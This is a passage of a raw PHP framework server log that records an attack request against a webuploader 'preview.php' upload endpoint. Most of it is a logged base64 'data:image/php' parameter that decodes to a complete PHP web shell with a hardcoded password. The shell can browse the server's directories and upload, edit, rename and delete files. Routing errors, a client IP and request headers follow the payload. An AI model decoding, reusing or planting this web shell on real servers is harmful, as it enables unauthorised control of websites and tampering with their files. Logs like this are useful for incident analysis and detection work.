'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:33+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/Js/webuploader/0.1.5/server/preview.php [运行时间:0.002450s] [吞吐率:408.17req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 